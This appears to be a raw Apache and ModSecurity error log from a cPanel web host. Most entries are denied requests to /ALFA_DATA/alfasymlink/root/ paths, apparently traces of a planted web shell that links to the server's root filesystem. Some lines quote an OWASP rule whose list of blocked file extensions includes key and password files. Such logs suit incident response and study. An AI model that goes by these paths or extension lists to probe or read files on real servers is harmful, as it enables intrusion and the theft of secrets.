[Sun Oct 25 18:20:57.450555 2026] [security2:error] [pid 2913030:tid 2913030] [client 69.160.113.92:4161] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/kernel/slab/vm_area_struct/slabs_cpu_partial"] [unique_id "at6AydACfKmH39GTPJ9iWwAAAAg"]
[Sun Oct 25 18:20:57.450589 2026] [security2:error] [pid 2913030:tid 2913030] [client 69.160.113.92:4161] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/kernel/slab/vm_area_struct/slabs_cpu_partial"] [unique_id "at6AydACfKmH39GTPJ9iWwAAAAg"]
[Sun Oct 25 18:21:00.763605 2026] [core:error] [pid 2912591:tid 2912591] (13)Permission denied: [client 189.236.169.75:55372] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/numa_policy/objects_partial
[Sun Oct 25 18:21:03.235437 2026] [core:error] [pid 2899920:tid 2899920] (13)Permission denied: [client 167.59.238.221:46086] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/numa_policy/objects_partial
[Sun Oct 25 18:21:06.178346 2026] [ssl:error] [pid 2910718:tid 2910718] (5)Input/output error: [client 98.82.59.253:9640] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 18:21:10.155623 2026] [ssl:error] [pid 2913030:tid 2913030] (70014)End of file found: [client 52.204.81.148:16126] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 18:21:27.696036 2026] [core:error] [pid 2912581:tid 2912581] (13)Permission denied: [client 72.252.198.132:53290] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/user_namespace/destroy_by_rcu
[Sun Oct 25 18:21:30.217825 2026] [ssl:error] [pid 2899920:tid 2899920] (70014)End of file found: [client 3.232.39.98:60803] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 18:21:30.847270 2026] [core:error] [pid 2913030:tid 2913030] (13)Permission denied: [client 102.203.40.3:9650] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/user_namespace/destroy_by_rcu
[Sun Oct 25 18:21:33.090436 2026] [core:error] [pid 2912589:tid 2912589] (13)Permission denied: [client 195.69.230.78:40336] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/user_namespace/destroy_by_rcu
[Sun Oct 25 18:21:46.146558 2026] [ssl:error] [pid 2913030:tid 2913030] (70014)End of file found: [client 34.234.197.175:22983] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 18:21:47.790136 2026] [core:error] [pid 2912591:tid 2912591] (13)Permission denied: [client 85.208.96.206:24834] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ksm_rmap_item/alloc_calls
[Sun Oct 25 18:22:02.166880 2026] [ssl:error] [pid 2912581:tid 2912581] (70014)End of file found: [client 34.195.248.30:56417] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 18:22:05.253788 2026] [core:error] [pid 2912578:tid 2912578] (13)Permission denied: [client 207.148.176.47:7388] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/avtab_extended_perms/poison
[Sun Oct 25 18:22:06.202309 2026] [ssl:error] [pid 2910720:tid 2910720] (70014)End of file found: [client 3.229.2.217:12889] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 18:22:07.835660 2026] [core:error] [pid 2912591:tid 2912591] (13)Permission denied: [client 191.103.114.18:46242] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/avtab_extended_perms/poison
[Sun Oct 25 18:22:09.511600 2026] [core:error] [pid 2906066:tid 2906066] (13)Permission denied: [client 65.78.84.175:49986] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/avtab_extended_perms/poison
[Sun Oct 25 18:22:14.600287 2026] [ssl:error] [pid 2910693:tid 2910693] (70014)End of file found: [client 44.207.252.58:2128] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 18:22:21.495920 2026] [core:error] [pid 2910718:tid 2910718] (13)Permission denied: [client 173.40.87.88:51807] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/sock_inode_cache/sanity_checks
[Sun Oct 25 18:22:22.174152 2026] [ssl:error] [pid 2910693:tid 2910693] (70014)End of file found: [client 54.88.84.219:27263] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 18:22:23.170628 2026] [core:error] [pid 2912581:tid 2912581] (13)Permission denied: [client 190.166.29.43:57851] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/sock_inode_cache/sanity_checks
[Sun Oct 25 18:22:23.833944 2026] [core:error] [pid 2913310:tid 2913310] (13)Permission denied: [client 38.226.139.52:59232] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/avtab_extended_perms/red_zone
[Sun Oct 25 18:22:25.860344 2026] [core:error] [pid 2910718:tid 2910718] (13)Permission denied: [client 165.162.22.126:64690] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/avtab_extended_perms/red_zone
[Sun Oct 25 18:22:26.240916 2026] [core:error] [pid 2910693:tid 2910693] (13)Permission denied: [client 98.80.130.239:36231] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/drm/card0/device/firmware_node/subsystem/devices/device:01/PNP0501:01/subsystem/devices/PNP0A03:00/QEMU0002:00/physical_node/driver/uevent
[Sun Oct 25 18:22:26.257433 2026] [core:error] [pid 2912578:tid 2912578] (13)Permission denied: [client 186.222.155.93:56697] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/sock_inode_cache/sanity_checks
[Sun Oct 25 18:22:27.976900 2026] [core:error] [pid 2912588:tid 2912588] (13)Permission denied: [client 177.226.179.199:36580] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/avtab_extended_perms/red_zone
[Sun Oct 25 18:22:38.177377 2026] [ssl:error] [pid 2910718:tid 2910718] (70014)End of file found: [client 34.231.45.47:38798] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 18:22:42.397174 2026] [core:error] [pid 2912578:tid 2912578] (13)Permission denied: [client 185.191.171.12:39750] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/inotify_inode_mark/object_size
[Sun Oct 25 18:22:46.518681 2026] [security2:error] [pid 2908851:tid 2908851] [client 107.172.76.131:65182] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "bases2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at6BKgyydx1uvQyMj1dhSgAAAAs"], referer: https://bases2.sherwinpinturas.com/beta.php
[Sun Oct 25 18:22:46.518731 2026] [security2:error] [pid 2908851:tid 2908851] [client 107.172.76.131:65182] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "bases2.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at6BKgyydx1uvQyMj1dhSgAAAAs"], referer: https://bases2.sherwinpinturas.com/beta.php
[Sun Oct 25 18:22:59.413010 2026] [core:error] [pid 2913086:tid 2913086] (13)Permission denied: [client 47.35.225.187:46283] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/run/gssproxy.pid
[Sun Oct 25 18:23:00.253032 2026] [core:error] [pid 2899920:tid 2899920] (13)Permission denied: [client 79.116.218.199:38474] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/sock_inode_cache/object_size
[Sun Oct 25 18:23:00.834513 2026] [core:error] [pid 2913030:tid 2913030] (13)Permission denied: [client 216.131.74.30:43867] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/run/gssproxy.pid
[Sun Oct 25 18:23:01.944821 2026] [core:error] [pid 2910693:tid 2910693] (13)Permission denied: [client 100.8.147.9:54621] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/sock_inode_cache/object_size
[Sun Oct 25 18:23:03.698204 2026] [core:error] [pid 2912991:tid 2912991] (13)Permission denied: [client 76.34.9.158:56517] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/sock_inode_cache/object_size
[Sun Oct 25 18:23:06.520506 2026] [core:error] [pid 2913310:tid 2913310] (13)Permission denied: [client 185.191.171.11:36046] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/xfrm_dst_cache/remote_node_defrag_ratio
[Sun Oct 25 18:23:14.194521 2026] [core:error] [pid 2913030:tid 2913030] (13)Permission denied: [client 18.232.12.157:45436] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/root/proc/thread-self/cwd/sys/bus/acpi/drivers_probe
[Sun Oct 25 18:23:18.178177 2026] [core:error] [pid 2910693:tid 2910693] (13)Permission denied: [client 52.54.157.23:61041] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/LNXSYSTM:00/subsystem/devices/PNP0A03:00/device:00/physical_node/subsystem/drivers/virtio-pci/remove_id
[Sun Oct 25 18:23:22.221094 2026] [ssl:error] [pid 2912991:tid 2912991] (70014)End of file found: [client 52.204.37.237:30381] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 18:23:31.392313 2026] [security2:error] [pid 2912591:tid 2912591] [client 107.172.76.131:65274] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "hosp1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at6BV44Q10jtV3ZOL6bKDQAAAB0"], referer: https://hosp1.sherwinpinturas.com/beta.php
[Sun Oct 25 18:23:31.392368 2026] [security2:error] [pid 2912591:tid 2912591] [client 107.172.76.131:65274] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "hosp1.sherwinpinturas.com"] [uri "/beta.php"] [unique_id "at6BV44Q10jtV3ZOL6bKDQAAAB0"], referer: https://hosp1.sherwinpinturas.com/beta.php
[Sun Oct 25 18:23:34.216074 2026] [core:error] [pid 2904910:tid 2904910] (13)Permission denied: [client 34.225.138.57:65074] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/sys/class/input/input0/subsystem/mouse0/device/device/driver/uevent
[Sun Oct 25 18:23:38.191992 2026] [ssl:error] [pid 2910718:tid 2910718] (70014)End of file found: [client 184.72.84.154:56377] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 18:24:06.148670 2026] [ssl:error] [pid 2910720:tid 2910720] (70014)End of file found: [client 3.221.156.96:41225] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 18:24:10.332595 2026] [ssl:error] [pid 2899920:tid 2899920] (70014)End of file found: [client 34.206.212.24:50893] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 18:24:16.893714 2026] [core:error] [pid 2912581:tid 2912581] (13)Permission denied: [client 219.161.82.20:27842] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/shared_policy_node/store_user
[Sun Oct 25 18:24:21.151614 2026] [core:error] [pid 2913086:tid 2913086] (13)Permission denied: [client 196.191.176.157:52892] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/shared_policy_node/store_user
[Sun Oct 25 18:24:21.692436 2026] [core:error] [pid 2910718:tid 2910718] (13)Permission denied: [client 67.230.51.97:45688] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ext4_system_zone/hwcache_align
[Sun Oct 25 18:24:22.174762 2026] [ssl:error] [pid 2899920:tid 2899920] (70014)End of file found: [client 54.87.62.248:27043] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 18:24:23.815220 2026] [core:error] [pid 2912588:tid 2912588] (13)Permission denied: [client 189.179.130.199:12344] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/shared_policy_node/store_user
[Sun Oct 25 18:24:24.427124 2026] [core:error] [pid 2913310:tid 2913310] (13)Permission denied: [client 190.60.61.156:56734] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ext4_system_zone/hwcache_align
[Sun Oct 25 18:24:25.678314 2026] [security2:error] [pid 2912581:tid 2912581] [client 138.97.162.85:54068] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/share/doc/sssd-common/sssd-example.conf"] [unique_id "at6BmS5gQZdvoo00O0lRYAAAAA8"]
[Sun Oct 25 18:24:25.678817 2026] [security2:error] [pid 2912581:tid 2912581] [client 138.97.162.85:54068] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/share/doc/sssd-common/sssd-example.conf"] [unique_id "at6BmS5gQZdvoo00O0lRYAAAAA8"]
[Sun Oct 25 18:24:25.679188 2026] [security2:error] [pid 2912581:tid 2912581] [client 138.97.162.85:54068] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/share/doc/sssd-common/sssd-example.conf"] [unique_id "at6BmS5gQZdvoo00O0lRYAAAAA8"]
[Sun Oct 25 18:24:31.967916 2026] [core:error] [pid 2913421:tid 2913421] (13)Permission denied: [client 185.191.171.18:59678] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/dma-kmalloc-4k/cpu_partial
[Sun Oct 25 18:24:34.177279 2026] [ssl:error] [pid 2913310:tid 2913310] (70014)End of file found: [client 54.84.93.8:45023] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 18:24:38.175363 2026] [ssl:error] [pid 2899920:tid 2899920] (70014)End of file found: [client 44.206.65.8:30990] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 18:24:41.226301 2026] [core:error] [pid 2912581:tid 2912581] (13)Permission denied: [client 82.209.74.132:5914] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/Acpi-Operand/object_size
[Sun Oct 25 18:24:42.990071 2026] [core:error] [pid 2913421:tid 2913421] (13)Permission denied: [client 5.180.208.34:28246] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/Acpi-Operand/object_size
[Sun Oct 25 18:24:46.050635 2026] [core:error] [pid 2913310:tid 2913310] (13)Permission denied: [client 201.4.65.46:20100] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/Acpi-Operand/object_size
[Sun Oct 25 18:24:50.163598 2026] [ssl:error] [pid 2912991:tid 2912991] (70014)End of file found: [client 18.214.138.148:30372] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 18:24:58.224741 2026] [ssl:error] [pid 2912581:tid 2912581] (70014)End of file found: [client 34.196.6.199:28506] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 18:25:02.177523 2026] [ssl:error] [pid 2912991:tid 2912991] (70014)End of file found: [client 52.203.65.83:17340] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 18:25:06.171726 2026] [ssl:error] [pid 2912581:tid 2912581] (70014)End of file found: [client 18.215.112.101:44559] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 18:25:19.335394 2026] [core:error] [pid 2912991:tid 2912991] (13)Permission denied: [client 160.20.193.45:4949] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/vm_area_struct/object_size
[Sun Oct 25 18:25:26.148086 2026] [core:error] [pid 2910720:tid 2910720] (13)Permission denied: [client 50.16.216.166:60976] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/input/event1/subsystem/input0/event0/device/device/subsystem/devices/device:16/eject
[Sun Oct 25 18:25:26.631788 2026] [core:error] [pid 2910693:tid 2910693] (13)Permission denied: [client 154.20.228.225:56146] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/jbd2_journal_head/objects_partial
[Sun Oct 25 18:25:27.342106 2026] [core:error] [pid 2912578:tid 2912578] (13)Permission denied: [client 186.249.82.144:16110] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ftrace_event_field/sanity_checks
[Sun Oct 25 18:25:29.121634 2026] [core:error] [pid 2913030:tid 2913030] (13)Permission denied: [client 97.166.215.51:56367] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ftrace_event_field/sanity_checks
[Sun Oct 25 18:25:29.137657 2026] [core:error] [pid 2904910:tid 2904910] (13)Permission denied: [client 159.26.98.243:38505] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/vm_area_struct/object_size
[Sun Oct 25 18:25:30.149119 2026] [ssl:error] [pid 2910720:tid 2910720] (70014)End of file found: [client 100.29.63.24:46973] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 18:25:31.338599 2026] [core:error] [pid 2912991:tid 2912991] (13)Permission denied: [client 38.137.232.154:33710] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/jbd2_journal_head/objects_partial
[Sun Oct 25 18:25:33.057705 2026] [core:error] [pid 2906066:tid 2906066] (13)Permission denied: [client 64.20.25.78:3385] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/jbd2_journal_head/objects_partial
[Sun Oct 25 18:25:34.173288 2026] [ssl:error] [pid 2913504:tid 2913504] (70014)End of file found: [client 3.226.34.98:5190] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 18:25:38.152138 2026] [security2:error] [pid 2910693:tid 2910693] [client 3.212.219.113:9901] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/pci0000:00/firmware_node/device:20/subsystem/devices/PNP0A06:01/physical_node/firmware_node/"] [unique_id "at6B4hUC0X8RmpNnzXW__gAAAAw"]
[Sun Oct 25 18:25:38.152180 2026] [security2:error] [pid 2910693:tid 2910693] [client 3.212.219.113:9901] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/pci0000:00/firmware_node/device:20/subsystem/devices/PNP0A06:01/physical_node/firmware_node/"] [unique_id "at6B4hUC0X8RmpNnzXW__gAAAAw"]
[Sun Oct 25 18:26:02.389644 2026] [ssl:error] [pid 2912991:tid 2912991] (70014)End of file found: [client 98.83.10.183:10276] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 18:26:05.886751 2026] [ssl:error] [pid 2906066:tid 2906066] (70014)End of file found: [client 185.191.171.16:17968] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 18:26:23.072990 2026] [ssl:error] [pid 2912588:tid 2912588] (70014)End of file found: [client 3.221.50.71:62670] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 18:26:25.469832 2026] [core:error] [pid 2899920:tid 2899920] (13)Permission denied: [client 85.208.96.203:23498] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/shmem_inode_cache/partial
[Sun Oct 25 18:26:28.795664 2026] [core:error] [pid 2913421:tid 2913421] (13)Permission denied: [client 190.211.126.139:4429] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/bio-224/sanity_checks
[Sun Oct 25 18:26:31.046757 2026] [core:error] [pid 2906066:tid 2906066] (13)Permission denied: [client 209.107.195.34:33945] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/bio-224/sanity_checks
[Sun Oct 25 18:26:32.689540 2026] [core:error] [pid 2912588:tid 2912588] (13)Permission denied: [client 160.79.65.98:50022] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/bio-224/sanity_checks
[Sun Oct 25 18:26:42.231388 2026] [core:error] [pid 2913421:tid 2913421] (13)Permission denied: [client 184.73.195.18:22295] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/input/input0/event0/device/device/subsystem/devices/device:08/eject
[Sun Oct 25 18:26:50.152291 2026] [ssl:error] [pid 2913421:tid 2913421] (70014)End of file found: [client 18.213.240.226:39584] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 18:26:53.104163 2026] [core:error] [pid 2912588:tid 2912588] (13)Permission denied: [client 177.234.213.6:55676] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/bio_integrity_payload/objs_per_slab
[Sun Oct 25 18:26:54.305234 2026] [ssl:error] [pid 2906066:tid 2906066] (70014)End of file found: [client 34.236.185.101:48113] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 18:26:55.447065 2026] [core:error] [pid 2912991:tid 2912991] (13)Permission denied: [client 179.160.62.161:39050] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/avc_xperms_decision_node/validate
[Sun Oct 25 18:26:55.687847 2026] [core:error] [pid 2904910:tid 2904910] (13)Permission denied: [client 165.162.89.65:59844] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/bio-248/alloc_calls
[Sun Oct 25 18:26:56.131246 2026] [core:error] [pid 2899920:tid 2899920] (13)Permission denied: [client 45.173.234.188:64074] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/bio_integrity_payload/objs_per_slab
[Sun Oct 25 18:26:57.842618 2026] [core:error] [pid 2913421:tid 2913421] (13)Permission denied: [client 68.116.112.247:43951] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/bio-248/alloc_calls
[Sun Oct 25 18:26:59.406125 2026] [core:error] [pid 2906066:tid 2906066] (13)Permission denied: [client 38.25.112.91:51115] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/avc_xperms_decision_node/validate
[Sun Oct 25 18:27:00.759596 2026] [core:error] [pid 2913030:tid 2913030] (13)Permission denied: [client 41.138.98.54:49524] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/bio-248/alloc_calls
[Sun Oct 25 18:27:01.381656 2026] [core:error] [pid 2910693:tid 2910693] (13)Permission denied: [client 104.244.227.31:4807] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/avc_xperms_decision_node/validate
[Sun Oct 25 18:27:02.158337 2026] [ssl:error] [pid 2899920:tid 2899920] (70014)End of file found: [client 52.4.213.199:57301] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 18:27:02.726555 2026] [core:error] [pid 2913504:tid 2913504] (13)Permission denied: [client 198.210.41.125:38455] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/shared_policy_node/slabs_cpu_partial
[Sun Oct 25 18:27:05.821335 2026] [core:error] [pid 2912991:tid 2912991] (13)Permission denied: [client 152.156.187.227:48653] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/shared_policy_node/slabs_cpu_partial
[Sun Oct 25 18:27:06.150962 2026] [security2:error] [pid 2912588:tid 2912588] [client 54.147.182.90:2957] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/thread-self/root/sys/class/tty/ttyS1/subsystem/tty8/"] [unique_id "at6COj_Kc4MD9DfzX0P7EQAAABk"]
[Sun Oct 25 18:27:06.151004 2026] [security2:error] [pid 2912588:tid 2912588] [client 54.147.182.90:2957] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/thread-self/root/sys/class/tty/ttyS1/subsystem/tty8/"] [unique_id "at6COj_Kc4MD9DfzX0P7EQAAABk"]
[Sun Oct 25 18:27:07.644333 2026] [core:error] [pid 2913421:tid 2913421] (13)Permission denied: [client 24.116.168.19:33982] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/shared_policy_node/slabs_cpu_partial
[Sun Oct 25 18:27:15.336884 2026] [core:error] [pid 2906066:tid 2906066] (13)Permission denied: [client 85.208.96.200:13528] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/jbd2_journal_head/red_zone
[Sun Oct 25 18:27:15.492125 2026] [core:error] [pid 2913030:tid 2913030] (13)Permission denied: [client 77.92.150.2:39886] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/jbd2_journal_handle/aliases
[Sun Oct 25 18:27:18.147458 2026] [ssl:error] [pid 2913421:tid 2913421] (70014)End of file found: [client 54.166.104.83:29510] AH02013: coalesce failed to read from data bucket
[Sun Oct 25 18:27:19.131198 2026] [core:error] [pid 2912991:tid 2912991] (13)Permission denied: [client 64.92.2.134:36157] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/jbd2_journal_handle/aliases
[Sun Oct 25 18:27:20.389769 2026] [core:error] [pid 2910693:tid 2910693] (13)Permission denied: [client 142.188.70.16:34911] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/jbd2_journal_handle/aliases
